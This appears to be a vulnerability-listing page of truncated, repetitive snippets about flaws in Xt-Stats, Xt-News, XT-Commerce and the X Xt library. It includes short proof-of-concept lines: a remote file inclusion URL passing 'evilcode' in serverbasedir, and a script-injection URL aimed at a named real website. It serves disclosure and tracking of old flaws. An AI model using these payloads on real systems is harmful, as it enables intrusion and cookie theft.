Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability

Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php'; http://www.site.com/path/xtcounter.php?serverbasedir=evilcode milw0rm.com 2007-01-27...

Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability

No description provided by source. Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php'; http://www.site.com/path/xtcounter.php?serverbasedir=evilcode...

Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Xt-Stats v.2.4.0.b3 serverbasedir Remote File Include Vulnerability ======================================================================= Finded by ThE email protect...

Xt-Stats 2.4.0.b3 (server_base_dir) - Remote File Inclusion

Xt-Stats 2.4.0.b3 serverbasedir - Remote File Inclusion Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php';...

CVE-2006-6746

Multiple cross-site scripting XSS vulnerabilities in Xt-News 0.1 allow remote attackers to inject arbitrary web script or HTML via the idnews parameter to 1 addcomment.php or 2 shownews.php...

CVE-2006-6747

SQL injection vulnerability in shownews.php in Xt-News 0.1 allows remote attackers to execute arbitrary SQL commands via the idnews parameter...

CVE-2006-6747

The CVE-2006-6747 entry describes a SQL injection in Xt-News 0.1’s show_news.php, exploitable via the id_news parameter. A remote attacker can cause arbitrary SQL execution (no authentication required; network access; low attack complexity) with potential partial impact to confidentiality, integr...

CVE-2006-6747

SQL injection vulnerability in shownews.php in Xt-News 0.1 allows remote attackers to execute arbitrary SQL commands via the idnews parameter...

CVE-2006-6746

Multiple cross-site scripting XSS vulnerabilities in Xt-News 0.1 allow remote attackers to inject arbitrary web script or HTML via the idnews parameter to 1 addcomment.php or 2 shownews.php...

CVE-2006-6746

The CVE concerns Xt-News 0.1, where multiple cross-site scripting (XSS) vulnerabilities affect user-supplied input via the id_news parameter. Specifically, the flaws can be triggered through add_comment.php or show_news.php, enabling remote attackers to inject arbitrary web script or HTML. Impact...

xtnew01-sqlxss.txt

Xt-News 0.1 ----------- Vendor site: http://dreaxteam.free.fr/forums/ Product: Xt-News 0.1 Vulnerability: SQL Injection Vulnerability & XSS Credits: MrKaLiMaN Reported to Vendor: 10/12/06 Public disclosure: 22/12/06 Description: ------------ SQL Injection Vulnerability:...

Xt-News 0.1 : SQL Injection Vulnerability & XSS

Xt-News 0.1 ----------- Vendor site: http://dreaxteam.free.fr/forums/ Product: Xt-News 0.1 Vulnerability: SQL Injection Vulnerability & XSS Credits: MrKaLiMaN Reported to Vendor: 10/12/06 Public disclosure: 22/12/06 Description: ------------ SQL Injection Vulnerability:...

Xt-News 0.1 - show_news.php?id_news Cross-Site Scripting

Xt-News 0.1 - shownews.php?idnews Cross-Site Scripting source: https://www.securityfocus.com/bid/21719/info Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input. An...

Xt-News 0.1 - 'show_news.php?id_news' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21719/info Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input. An attacker could exploit these issues to steal cookie-based...

Xt-News 0.1 - add_comment.php?id_news Cross-Site Scripting

Xt-News 0.1 - addcomment.php?idnews Cross-Site Scripting source: https://www.securityfocus.com/bid/21719/info Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input. An...

Xt-News 0.1 - 'add_comment.php?id_news' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21719/info Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input. An attacker could exploit these issues to steal cookie-based...

Xt-News 0.1 - show_news.php?id_news SQL Injection

Xt-News 0.1 - shownews.php?idnews SQL Injection source: https://www.securityfocus.com/bid/21719/info Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input. An attacker...

XSS in XT-Commerce v2.0 RC1.2

Advisory: XSS in XT-Commerce v2.0 RC1.2 Home Page: http://xtcommerce/ Уязвимость/Vulnerability: Межсайтовый скриптинг/Cross Site Scripting Уязвимый скрипт/Vulnerable script: advancedsearchresult.php http://www.immobilien-uckermark.de/advancedsearchresult.php?keywords="scriptalert/script"&x=30&y=1...

CVE-1999-0040

Buffer overflow in Xt library of X Windowing System allows local users to execute commands with root privileges...

CVE-1999-0040

CVE-1999-0040 affects the X Windowing System’s Xt library. The vulnerability is a buffer overflow in Xt that allows local users to execute commands with root privileges. Public details in connected sources confirm the affected component as Xt within X Windowing System, and the impact is local pri...